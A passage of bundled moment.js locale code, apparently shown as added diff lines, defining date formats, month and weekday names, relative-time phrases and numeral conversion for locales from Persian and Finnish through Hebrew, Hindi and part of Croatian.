"[امروز ساعت] LT", + nextDay: "[فردا ساعت] LT", + nextWeek: "dddd [ساعت] LT", + lastDay: "[دیروز ساعت] LT", + lastWeek: "dddd [پیش] [ساعت] LT", + sameElse: "L" + }, + relativeTime: { + future: "در %s", + past: "%s پیش", + s: "چند ثانیه", + ss: "ثانیه d%", + m: "یک دقیقه", + mm: "%d دقیقه", + h: "یک ساعت", + hh: "%d ساعت", + d: "یک روز", + dd: "%d روز", + M: "یک ماه", + MM: "%d ماه", + y: "یک سال", + yy: "%d سال" + }, + preparse: function (e) { + return e.replace(/[۰-۹]/g, function (e) { + return i[e] + }).replace(/،/g, ",") + }, + postformat: function (e) { + return e.replace(/\d/g, function (e) { + return t[e] + }).replace(/,/g, "،") + }, + dayOfMonthOrdinalParse: /\d{1,2}م/, + ordinal: "%dم", + week: { + dow: 6, + doy: 12 + } + }); + return n + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = "nolla yksi kaksi kolme neljä viisi kuusi seitsemän kahdeksan yhdeksän".split(" "), + i = ["nolla", "yhden", "kahden", "kolmen", "neljän", "viiden", "kuuden", t[7], t[8], t[9]]; + + function n(e, t, i, n) { + var a = ""; + switch (i) { + case "s": + return n ? "muutaman sekunnin" : "muutama sekunti"; + case "ss": + return n ? "sekunnin" : "sekuntia"; + case "m": + return n ? "minuutin" : "minuutti"; + case "mm": + a = n ? "minuutin" : "minuuttia"; + break; + case "h": + return n ? "tunnin" : "tunti"; + case "hh": + a = n ? "tunnin" : "tuntia"; + break; + case "d": + return n ? "päivän" : "päivä"; + case "dd": + a = n ? "päivän" : "päivää"; + break; + case "M": + return n ? "kuukauden" : "kuukausi"; + case "MM": + a = n ? "kuukauden" : "kuukautta"; + break; + case "y": + return n ? "vuoden" : "vuosi"; + case "yy": + a = n ? "vuoden" : "vuotta"; + break + } + a = r(e, n) + " " + a; + return a + } + + function r(e, n) { + return e < 10 ? n ? i[e] : t[e] : e + } + var a = e.defineLocale("fi", { + months: "tammikuu_helmikuu_maaliskuu_huhtikuu_toukokuu_kesäkuu_heinäkuu_elokuu_syyskuu_lokakuu_marraskuu_joulukuu".split("_"), + monthsShort: "tammi_helmi_maalis_huhti_touko_kesä_heinä_elo_syys_loka_marras_joulu".split("_"), + weekdays: "sunnuntai_maanantai_tiistai_keskiviikko_torstai_perjantai_lauantai".split("_"), + weekdaysShort: "su_ma_ti_ke_to_pe_la".split("_"), + weekdaysMin: "su_ma_ti_ke_to_pe_la".split("_"), + longDateFormat: { + LT: "HH.mm", + LTS: "HH.mm.ss", + L: "DD.MM.YYYY", + LL: "Do MMMM[ta] YYYY", + LLL: "Do MMMM[ta] YYYY, [klo] HH.mm", + LLLL: "dddd, Do MMMM[ta] YYYY, [klo] HH.mm", + l: "D.M.YYYY", + ll: "Do MMM YYYY", + lll: "Do MMM YYYY, [klo] HH.mm", + llll: "ddd, Do MMM YYYY, [klo] HH.mm" + }, + calendar: { + sameDay: "[tänään] [klo] LT", + nextDay: "[huomenna] [klo] LT", + nextWeek: "dddd [klo] LT", + lastDay: "[eilen] [klo] LT", + lastWeek: "[viime] dddd[na] [klo] LT", + sameElse: "L" + }, + relativeTime: { + future: "%s päästä", + past: "%s sitten", + s: n, + ss: n, + m: n, + mm: n, + h: n, + hh: n, + d: n, + dd: n, + M: n, + MM: n, + y: n, + yy: n + }, + dayOfMonthOrdinalParse: /\d{1,2}\./, + ordinal: "%d.", + week: { + dow: 1, + doy: 4 + } + }); + return a + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("fo", { + months: "januar_februar_mars_apríl_mai_juni_juli_august_september_oktober_november_desember".split("_"), + monthsShort: "jan_feb_mar_apr_mai_jun_jul_aug_sep_okt_nov_des".split("_"), + weekdays: "sunnudagur_mánadagur_týsdagur_mikudagur_hósdagur_fríggjadagur_leygardagur".split("_"), + weekdaysShort: "sun_mán_týs_mik_hós_frí_ley".split("_"), + weekdaysMin: "su_má_tý_mi_hó_fr_le".split("_"), + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "dddd D. MMMM, YYYY HH:mm" + }, + calendar: { + sameDay: "[Í dag kl.] LT", + nextDay: "[Í morgin kl.] LT", + nextWeek: "dddd [kl.] LT", + lastDay: "[Í gjár kl.] LT", + lastWeek: "[síðstu] dddd [kl] LT", + sameElse: "L" + }, + relativeTime: { + future: "um %s", + past: "%s síðani", + s: "fá sekund", + ss: "%d sekundir", + m: "ein minuttur", + mm: "%d minuttir", + h: "ein tími", + hh: "%d tímar", + d: "ein dagur", + dd: "%d dagar", + M: "ein mánaður", + MM: "%d mánaðir", + y: "eitt ár", + yy: "%d ár" + }, + dayOfMonthOrdinalParse: /\d{1,2}\./, + ordinal: "%d.", + week: { + dow: 1, + doy: 4 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("fr", { + months: "janvier_février_mars_avril_mai_juin_juillet_août_septembre_octobre_novembre_décembre".split("_"), + monthsShort: "janv._févr._mars_avr._mai_juin_juil._août_sept._oct._nov._déc.".split("_"), + monthsParseExact: true, + weekdays: "dimanche_lundi_mardi_mercredi_jeudi_vendredi_samedi".split("_"), + weekdaysShort: "dim._lun._mar._mer._jeu._ven._sam.".split("_"), + weekdaysMin: "di_lu_ma_me_je_ve_sa".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "dddd D MMMM YYYY HH:mm" + }, + calendar: { + sameDay: "[Aujourd’hui à] LT", + nextDay: "[Demain à] LT", + nextWeek: "dddd [à] LT", + lastDay: "[Hier à] LT", + lastWeek: "dddd [dernier à] LT", + sameElse: "L" + }, + relativeTime: { + future: "dans %s", + past: "il y a %s", + s: "quelques secondes", + ss: "%d secondes", + m: "une minute", + mm: "%d minutes", + h: "une heure", + hh: "%d heures", + d: "un jour", + dd: "%d jours", + M: "un mois", + MM: "%d mois", + y: "un an", + yy: "%d ans" + }, + dayOfMonthOrdinalParse: /\d{1,2}(er|)/, + ordinal: function (e, t) { + switch (t) { + case "D": + return e + (e === 1 ? "er" : ""); + default: + case "M": + case "Q": + case "DDD": + case "d": + return e + (e === 1 ? "er" : "e"); + case "w": + case "W": + return e + (e === 1 ? "re" : "e") + } + }, + week: { + dow: 1, + doy: 4 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("fr-ca", { + months: "janvier_février_mars_avril_mai_juin_juillet_août_septembre_octobre_novembre_décembre".split("_"), + monthsShort: "janv._févr._mars_avr._mai_juin_juil._août_sept._oct._nov._déc.".split("_"), + monthsParseExact: true, + weekdays: "dimanche_lundi_mardi_mercredi_jeudi_vendredi_samedi".split("_"), + weekdaysShort: "dim._lun._mar._mer._jeu._ven._sam.".split("_"), + weekdaysMin: "di_lu_ma_me_je_ve_sa".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "YYYY-MM-DD", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "dddd D MMMM YYYY HH:mm" + }, + calendar: { + sameDay: "[Aujourd’hui à] LT", + nextDay: "[Demain à] LT", + nextWeek: "dddd [à] LT", + lastDay: "[Hier à] LT", + lastWeek: "dddd [dernier à] LT", + sameElse: "L" + }, + relativeTime: { + future: "dans %s", + past: "il y a %s", + s: "quelques secondes", + ss: "%d secondes", + m: "une minute", + mm: "%d minutes", + h: "une heure", + hh: "%d heures", + d: "un jour", + dd: "%d jours", + M: "un mois", + MM: "%d mois", + y: "un an", + yy: "%d ans" + }, + dayOfMonthOrdinalParse: /\d{1,2}(er|e)/, + ordinal: function (e, t) { + switch (t) { + default: + case "M": + case "Q": + case "D": + case "DDD": + case "d": + return e + (e === 1 ? "er" : "e"); + case "w": + case "W": + return e + (e === 1 ? "re" : "e") + } + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("fr-ch", { + months: "janvier_février_mars_avril_mai_juin_juillet_août_septembre_octobre_novembre_décembre".split("_"), + monthsShort: "janv._févr._mars_avr._mai_juin_juil._août_sept._oct._nov._déc.".split("_"), + monthsParseExact: true, + weekdays: "dimanche_lundi_mardi_mercredi_jeudi_vendredi_samedi".split("_"), + weekdaysShort: "dim._lun._mar._mer._jeu._ven._sam.".split("_"), + weekdaysMin: "di_lu_ma_me_je_ve_sa".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD.MM.YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "dddd D MMMM YYYY HH:mm" + }, + calendar: { + sameDay: "[Aujourd’hui à] LT", + nextDay: "[Demain à] LT", + nextWeek: "dddd [à] LT", + lastDay: "[Hier à] LT", + lastWeek: "dddd [dernier à] LT", + sameElse: "L" + }, + relativeTime: { + future: "dans %s", + past: "il y a %s", + s: "quelques secondes", + ss: "%d secondes", + m: "une minute", + mm: "%d minutes", + h: "une heure", + hh: "%d heures", + d: "un jour", + dd: "%d jours", + M: "un mois", + MM: "%d mois", + y: "un an", + yy: "%d ans" + }, + dayOfMonthOrdinalParse: /\d{1,2}(er|e)/, + ordinal: function (e, t) { + switch (t) { + default: + case "M": + case "Q": + case "D": + case "DDD": + case "d": + return e + (e === 1 ? "er" : "e"); + case "w": + case "W": + return e + (e === 1 ? "re" : "e") + } + }, + week: { + dow: 1, + doy: 4 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = "jan._feb._mrt._apr._mai_jun._jul._aug._sep._okt._nov._des.".split("_"), + i = "jan_feb_mrt_apr_mai_jun_jul_aug_sep_okt_nov_des".split("_"); + var n = e.defineLocale("fy", { + months: "jannewaris_febrewaris_maart_april_maaie_juny_july_augustus_septimber_oktober_novimber_desimber".split("_"), + monthsShort: function (e, n) { + if (!e) { + return t + } else if (/-MMM-/.test(n)) { + return i[e.month()] + } else { + return t[e.month()] + } + }, + monthsParseExact: true, + weekdays: "snein_moandei_tiisdei_woansdei_tongersdei_freed_sneon".split("_"), + weekdaysShort: "si._mo._ti._wo._to._fr._so.".split("_"), + weekdaysMin: "Si_Mo_Ti_Wo_To_Fr_So".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD-MM-YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "dddd D MMMM YYYY HH:mm" + }, + calendar: { + sameDay: "[hjoed om] LT", + nextDay: "[moarn om] LT", + nextWeek: "dddd [om] LT", + lastDay: "[juster om] LT", + lastWeek: "[ôfrûne] dddd [om] LT", + sameElse: "L" + }, + relativeTime: { + future: "oer %s", + past: "%s lyn", + s: "in pear sekonden", + ss: "%d sekonden", + m: "ien minút", + mm: "%d minuten", + h: "ien oere", + hh: "%d oeren", + d: "ien dei", + dd: "%d dagen", + M: "ien moanne", + MM: "%d moannen", + y: "ien jier", + yy: "%d jierren" + }, + dayOfMonthOrdinalParse: /\d{1,2}(ste|de)/, + ordinal: function (e) { + return e + (e === 1 || e === 8 || e >= 20 ? "ste" : "de") + }, + week: { + dow: 1, + doy: 4 + } + }); + return n + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = ["Eanáir", "Feabhra", "Márta", "Aibreán", "Bealtaine", "Méitheamh", "Iúil", "Lúnasa", "Meán Fómhair", "Deaireadh Fómhair", "Samhain", "Nollaig"]; + var i = ["Eaná", "Feab", "Márt", "Aibr", "Beal", "Méit", "Iúil", "Lúna", "Meán", "Deai", "Samh", "Noll"]; + var n = ["Dé Domhnaigh", "Dé Luain", "Dé Máirt", "Dé Céadaoin", "Déardaoin", "Dé hAoine", "Dé Satharn"]; + var r = ["Dom", "Lua", "Mái", "Céa", "Déa", "hAo", "Sat"]; + var a = ["Do", "Lu", "Má", "Ce", "Dé", "hA", "Sa"]; + var s = e.defineLocale("ga", { + months: t, + monthsShort: i, + monthsParseExact: true, + weekdays: n, + weekdaysShort: r, + weekdaysMin: a, + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "dddd, D MMMM YYYY HH:mm" + }, + calendar: { + sameDay: "[Inniu ag] LT", + nextDay: "[Amárach ag] LT", + nextWeek: "dddd [ag] LT", + lastDay: "[Inné aig] LT", + lastWeek: "dddd [seo caite] [ag] LT", + sameElse: "L" + }, + relativeTime: { + future: "i %s", + past: "%s ó shin", + s: "cúpla soicind", + ss: "%d soicind", + m: "nóiméad", + mm: "%d nóiméad", + h: "uair an chloig", + hh: "%d uair an chloig", + d: "lá", + dd: "%d lá", + M: "mí", + MM: "%d mí", + y: "bliain", + yy: "%d bliain" + }, + dayOfMonthOrdinalParse: /\d{1,2}(d|na|mh)/, + ordinal: function (e) { + var t = e === 1 ? "d" : e % 10 === 2 ? "na" : "mh"; + return e + t + }, + week: { + dow: 1, + doy: 4 + } + }); + return s + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = ["Am Faoilleach", "An Gearran", "Am Màrt", "An Giblean", "An Cèitean", "An t-Ògmhios", "An t-Iuchar", "An Lùnastal", "An t-Sultain", "An Dàmhair", "An t-Samhain", "An Dùbhlachd"]; + var i = ["Faoi", "Gear", "Màrt", "Gibl", "Cèit", "Ògmh", "Iuch", "Lùn", "Sult", "Dàmh", "Samh", "Dùbh"]; + var n = ["Didòmhnaich", "Diluain", "Dimàirt", "Diciadain", "Diardaoin", "Dihaoine", "Disathairne"]; + var r = ["Did", "Dil", "Dim", "Dic", "Dia", "Dih", "Dis"]; + var a = ["Dò", "Lu", "Mà", "Ci", "Ar", "Ha", "Sa"]; + var s = e.defineLocale("gd", { + months: t, + monthsShort: i, + monthsParseExact: true, + weekdays: n, + weekdaysShort: r, + weekdaysMin: a, + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "dddd, D MMMM YYYY HH:mm" + }, + calendar: { + sameDay: "[An-diugh aig] LT", + nextDay: "[A-màireach aig] LT", + nextWeek: "dddd [aig] LT", + lastDay: "[An-dè aig] LT", + lastWeek: "dddd [seo chaidh] [aig] LT", + sameElse: "L" + }, + relativeTime: { + future: "ann an %s", + past: "bho chionn %s", + s: "beagan diogan", + ss: "%d diogan", + m: "mionaid", + mm: "%d mionaidean", + h: "uair", + hh: "%d uairean", + d: "latha", + dd: "%d latha", + M: "mìos", + MM: "%d mìosan", + y: "bliadhna", + yy: "%d bliadhna" + }, + dayOfMonthOrdinalParse: /\d{1,2}(d|na|mh)/, + ordinal: function (e) { + var t = e === 1 ? "d" : e % 10 === 2 ? "na" : "mh"; + return e + t + }, + week: { + dow: 1, + doy: 4 + } + }); + return s + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("gl", { + months: "xaneiro_febreiro_marzo_abril_maio_xuño_xullo_agosto_setembro_outubro_novembro_decembro".split("_"), + monthsShort: "xan._feb._mar._abr._mai._xuñ._xul._ago._set._out._nov._dec.".split("_"), + monthsParseExact: true, + weekdays: "domingo_luns_martes_mércores_xoves_venres_sábado".split("_"), + weekdaysShort: "dom._lun._mar._mér._xov._ven._sáb.".split("_"), + weekdaysMin: "do_lu_ma_mé_xo_ve_sá".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "H:mm", + LTS: "H:mm:ss", + L: "DD/MM/YYYY", + LL: "D [de] MMMM [de] YYYY", + LLL: "D [de] MMMM [de] YYYY H:mm", + LLLL: "dddd, D [de] MMMM [de] YYYY H:mm" + }, + calendar: { + sameDay: function () { + return "[hoxe " + (this.hours() !== 1 ? "ás" : "á") + "] LT" + }, + nextDay: function () { + return "[mañá " + (this.hours() !== 1 ? "ás" : "á") + "] LT" + }, + nextWeek: function () { + return "dddd [" + (this.hours() !== 1 ? "ás" : "a") + "] LT" + }, + lastDay: function () { + return "[onte " + (this.hours() !== 1 ? "á" : "a") + "] LT" + }, + lastWeek: function () { + return "[o] dddd [pasado " + (this.hours() !== 1 ? "ás" : "a") + "] LT" + }, + sameElse: "L" + }, + relativeTime: { + future: function (e) { + if (e.indexOf("un") === 0) { + return "n" + e + } + return "en " + e + }, + past: "hai %s", + s: "uns segundos", + ss: "%d segundos", + m: "un minuto", + mm: "%d minutos", + h: "unha hora", + hh: "%d horas", + d: "un día", + dd: "%d días", + M: "un mes", + MM: "%d meses", + y: "un ano", + yy: "%d anos" + }, + dayOfMonthOrdinalParse: /\d{1,2}º/, + ordinal: "%dº", + week: { + dow: 1, + doy: 4 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + + function t(e, t, i, n) { + var r = { + s: ["thodde secondanim", "thodde second"], + ss: [e + " secondanim", e + " second"], + m: ["eka mintan", "ek minute"], + mm: [e + " mintanim", e + " mintam"], + h: ["eka voran", "ek vor"], + hh: [e + " voranim", e + " voram"], + d: ["eka disan", "ek dis"], + dd: [e + " disanim", e + " dis"], + M: ["eka mhoinean", "ek mhoino"], + MM: [e + " mhoineanim", e + " mhoine"], + y: ["eka vorsan", "ek voros"], + yy: [e + " vorsanim", e + " vorsam"] + }; + return t ? r[i][0] : r[i][1] + } + var i = e.defineLocale("gom-latn", { + months: "Janer_Febrer_Mars_Abril_Mai_Jun_Julai_Agost_Setembr_Otubr_Novembr_Dezembr".split("_"), + monthsShort: "Jan._Feb._Mars_Abr._Mai_Jun_Jul._Ago._Set._Otu._Nov._Dez.".split("_"), + monthsParseExact: true, + weekdays: "Aitar_Somar_Mongllar_Budvar_Brestar_Sukrar_Son'var".split("_"), + weekdaysShort: "Ait._Som._Mon._Bud._Bre._Suk._Son.".split("_"), + weekdaysMin: "Ai_Sm_Mo_Bu_Br_Su_Sn".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "A h:mm [vazta]", + LTS: "A h:mm:ss [vazta]", + L: "DD-MM-YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY A h:mm [vazta]", + LLLL: "dddd, MMMM[achea] Do, YYYY, A h:mm [vazta]", + llll: "ddd, D MMM YYYY, A h:mm [vazta]" + }, + calendar: { + sameDay: "[Aiz] LT", + nextDay: "[Faleam] LT", + nextWeek: "[Ieta to] dddd[,] LT", + lastDay: "[Kal] LT", + lastWeek: "[Fatlo] dddd[,] LT", + sameElse: "L" + }, + relativeTime: { + future: "%s", + past: "%s adim", + s: t, + ss: t, + m: t, + mm: t, + h: t, + hh: t, + d: t, + dd: t, + M: t, + MM: t, + y: t, + yy: t + }, + dayOfMonthOrdinalParse: /\d{1,2}(er)/, + ordinal: function (e, t) { + switch (t) { + case "D": + return e + "er"; + default: + case "M": + case "Q": + case "DDD": + case "d": + case "w": + case "W": + return e + } + }, + week: { + dow: 1, + doy: 4 + }, + meridiemParse: /rati|sokalli|donparam|sanje/, + meridiemHour: function (e, t) { + if (e === 12) { + e = 0 + } + if (t === "rati") { + return e < 4 ? e : e + 12 + } else if (t === "sokalli") { + return e + } else if (t === "donparam") { + return e > 12 ? e : e + 12 + } else if (t === "sanje") { + return e + 12 + } + }, + meridiem: function (e, t, i) { + if (e < 4) { + return "rati" + } else if (e < 12) { + return "sokalli" + } else if (e < 16) { + return "donparam" + } else if (e < 20) { + return "sanje" + } else { + return "rati" + } + } + }); + return i + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = { + 1: "૧", + 2: "૨", + 3: "૩", + 4: "૪", + 5: "૫", + 6: "૬", + 7: "૭", + 8: "૮", + 9: "૯", + 0: "૦" + }, + i = { + "૧": "1", + "૨": "2", + "૩": "3", + "૪": "4", + "૫": "5", + "૬": "6", + "૭": "7", + "૮": "8", + "૯": "9", + "૦": "0" + }; + var n = e.defineLocale("gu", { + months: "જાન્યુઆરી_ફેબ્રુઆરી_માર્ચ_એપ્રિલ_મે_જૂન_જુલાઈ_ઑગસ્ટ_સપ્ટેમ્બર_ઑક્ટ્બર_નવેમ્બર_ડિસેમ્બર".split("_"), + monthsShort: "જાન્યુ._ફેબ્રુ._માર્ચ_એપ્રિ._મે_જૂન_જુલા._ઑગ._સપ્ટે._ઑક્ટ્._નવે._ડિસે.".split("_"), + monthsParseExact: true, + weekdays: "રવિવાર_સોમવાર_મંગળવાર_બુધ્વાર_ગુરુવાર_શુક્રવાર_શનિવાર".split("_"), + weekdaysShort: "રવિ_સોમ_મંગળ_બુધ્_ગુરુ_શુક્ર_શનિ".split("_"), + weekdaysMin: "ર_સો_મં_બુ_ગુ_શુ_શ".split("_"), + longDateFormat: { + LT: "A h:mm વાગ્યે", + LTS: "A h:mm:ss વાગ્યે", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY, A h:mm વાગ્યે", + LLLL: "dddd, D MMMM YYYY, A h:mm વાગ્યે" + }, + calendar: { + sameDay: "[આજ] LT", + nextDay: "[કાલે] LT", + nextWeek: "dddd, LT", + lastDay: "[ગઇકાલે] LT", + lastWeek: "[પાછલા] dddd, LT", + sameElse: "L" + }, + relativeTime: { + future: "%s મા", + past: "%s પેહલા", + s: "અમુક પળો", + ss: "%d સેકંડ", + m: "એક મિનિટ", + mm: "%d મિનિટ", + h: "એક કલાક", + hh: "%d કલાક", + d: "એક દિવસ", + dd: "%d દિવસ", + M: "એક મહિનો", + MM: "%d મહિનો", + y: "એક વર્ષ", + yy: "%d વર્ષ" + }, + preparse: function (e) { + return e.replace(/[૧૨૩૪૫૬૭૮૯૦]/g, function (e) { + return i[e] + }) + }, + postformat: function (e) { + return e.replace(/\d/g, function (e) { + return t[e] + }) + }, + meridiemParse: /રાત|બપોર|સવાર|સાંજ/, + meridiemHour: function (e, t) { + if (e === 12) { + e = 0 + } + if (t === "રાત") { + return e < 4 ? e : e + 12 + } else if (t === "સવાર") { + return e + } else if (t === "બપોર") { + return e >= 10 ? e : e + 12 + } else if (t === "સાંજ") { + return e + 12 + } + }, + meridiem: function (e, t, i) { + if (e < 4) { + return "રાત" + } else if (e < 10) { + return "સવાર" + } else if (e < 17) { + return "બપોર" + } else if (e < 20) { + return "સાંજ" + } else { + return "રાત" + } + }, + week: { + dow: 0, + doy: 6 + } + }); + return n + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("he", { + months: "ינואר_פברואר_מרץ_אפריל_מאי_יוני_יולי_אוגוסט_ספטמבר_אוקטובר_נובמבר_דצמבר".split("_"), + monthsShort: "ינו׳_פבר׳_מרץ_אפר׳_מאי_יוני_יולי_אוג׳_ספט׳_אוק׳_נוב׳_דצמ׳".split("_"), + weekdays: "ראשון_שני_שלישי_רביעי_חמישי_שישי_שבת".split("_"), + weekdaysShort: "א׳_ב׳_ג׳_ד׳_ה׳_ו׳_ש׳".split("_"), + weekdaysMin: "א_ב_ג_ד_ה_ו_ש".split("_"), + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD/MM/YYYY", + LL: "D [ב]MMMM YYYY", + LLL: "D [ב]MMMM YYYY HH:mm", + LLLL: "dddd, D [ב]MMMM YYYY HH:mm", + l: "D/M/YYYY", + ll: "D MMM YYYY", + lll: "D MMM YYYY HH:mm", + llll: "ddd, D MMM YYYY HH:mm" + }, + calendar: { + sameDay: "[היום ב־]LT", + nextDay: "[מחר ב־]LT", + nextWeek: "dddd [בשעה] LT", + lastDay: "[אתמול ב־]LT", + lastWeek: "[ביום] dddd [האחרון בשעה] LT", + sameElse: "L" + }, + relativeTime: { + future: "בעוד %s", + past: "לפני %s", + s: "מספר שניות", + ss: "%d שניות", + m: "דקה", + mm: "%d דקות", + h: "שעה", + hh: function (e) { + if (e === 2) { + return "שעתיים" + } + return e + " שעות" + }, + d: "יום", + dd: function (e) { + if (e === 2) { + return "יומיים" + } + return e + " ימים" + }, + M: "חודש", + MM: function (e) { + if (e === 2) { + return "חודשיים" + } + return e + " חודשים" + }, + y: "שנה", + yy: function (e) { + if (e === 2) { + return "שנתיים" + } else if (e % 10 === 0 && e !== 10) { + return e + " שנה" + } + return e + " שנים" + } + }, + meridiemParse: /אחה"צ|לפנה"צ|אחרי הצהריים|לפני הצהריים|לפנות בוקר|בבוקר|בערב/i, + isPM: function (e) { + return /^(אחה"צ|אחרי הצהריים|בערב)$/.test(e) + }, + meridiem: function (e, t, i) { + if (e < 5) { + return "לפנות בוקר" + } else if (e < 10) { + return "בבוקר" + } else if (e < 12) { + return i ? 'לפנה"צ' : "לפני הצהריים" + } else if (e < 18) { + return i ? 'אחה"צ' : "אחרי הצהריים" + } else { + return "בערב" + } + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = { + 1: "१", + 2: "२", + 3: "३", + 4: "४", + 5: "५", + 6: "६", + 7: "७", + 8: "८", + 9: "९", + 0: "०" + }, + i = { + "१": "1", + "२": "2", + "३": "3", + "४": "4", + "५": "5", + "६": "6", + "७": "7", + "८": "8", + "९": "9", + "०": "0" + }; + var n = e.defineLocale("hi", { + months: "जनवरी_फ़रवरी_मार्च_अप्रैल_मई_जून_जुलाई_अगस्त_सितम्बर_अक्टूबर_नवम्बर_दिसम्बर".split("_"), + monthsShort: "जन._फ़र._मार्च_अप्रै._मई_जून_जुल._अग._सित._अक्टू._नव._दिस.".split("_"), + monthsParseExact: true, + weekdays: "रविवार_सोमवार_मंगलवार_बुधवार_गुरूवार_शुक्रवार_शनिवार".split("_"), + weekdaysShort: "रवि_सोम_मंगल_बुध_गुरू_शुक्र_शनि".split("_"), + weekdaysMin: "र_सो_मं_बु_गु_शु_श".split("_"), + longDateFormat: { + LT: "A h:mm बजे", + LTS: "A h:mm:ss बजे", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY, A h:mm बजे", + LLLL: "dddd, D MMMM YYYY, A h:mm बजे" + }, + calendar: { + sameDay: "[आज] LT", + nextDay: "[कल] LT", + nextWeek: "dddd, LT", + lastDay: "[कल] LT", + lastWeek: "[पिछले] dddd, LT", + sameElse: "L" + }, + relativeTime: { + future: "%s में", + past: "%s पहले", + s: "कुछ ही क्षण", + ss: "%d सेकंड", + m: "एक मिनट", + mm: "%d मिनट", + h: "एक घंटा", + hh: "%d घंटे", + d: "एक दिन", + dd: "%d दिन", + M: "एक महीने", + MM: "%d महीने", + y: "एक वर्ष", + yy: "%d वर्ष" + }, + preparse: function (e) { + return e.replace(/[१२३४५६७८९०]/g, function (e) { + return i[e] + }) + }, + postformat: function (e) { + return e.replace(/\d/g, function (e) { + return t[e] + }) + }, + meridiemParse: /रात|सुबह|दोपहर|शाम/, + meridiemHour: function (e, t) { + if (e === 12) { + e = 0 + } + if (t === "रात") { + return e < 4 ? e : e + 12 + } else if (t === "सुबह") { + return e + } else if (t === "दोपहर") { + return e >= 10 ? e : e + 12 + } else if (t === "शाम") { + return e + 12 + } + }, + meridiem: function (e, t, i) { + if (e < 4) { + return "रात" + } else if (e < 10) { + return "सुबह" + } else if (e < 17) { + return "दोपहर" + } else if (e < 20) { + return "शाम" + } else { + return "रात" + } + }, + week: { + dow: 0, + doy: 6 + } + }); + return n + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + + function t(e, t, i) { + var n = e + " "; + switch (i) { + case "ss": + if (e === 1) { + n += "sekunda" + } else if (e === 2 || e === 3 || e === 4) { + n += "sekunde" + } else { + n += "sekundi" + } + return n; + case "m": + return t ? "jedna minuta" : "jedne minute"; + case "mm": + if (e === 1) { + n += "minuta" + } else if (e === 2 || e === 3 || e === 4) { + n += "minute" + } else { + n += "minuta" + } + return n; + case "h": + return t ? "jedan sat" : "jednog sata"; + case "hh": + if (e === 1) { + n += "sat" + } else if (e === 2 || e === 3 || e === 4) { + n += "sata" + } else { + n += "sati" + } + return n; + case "dd": + if (e === 1) { + n += "dan" + } else { + n 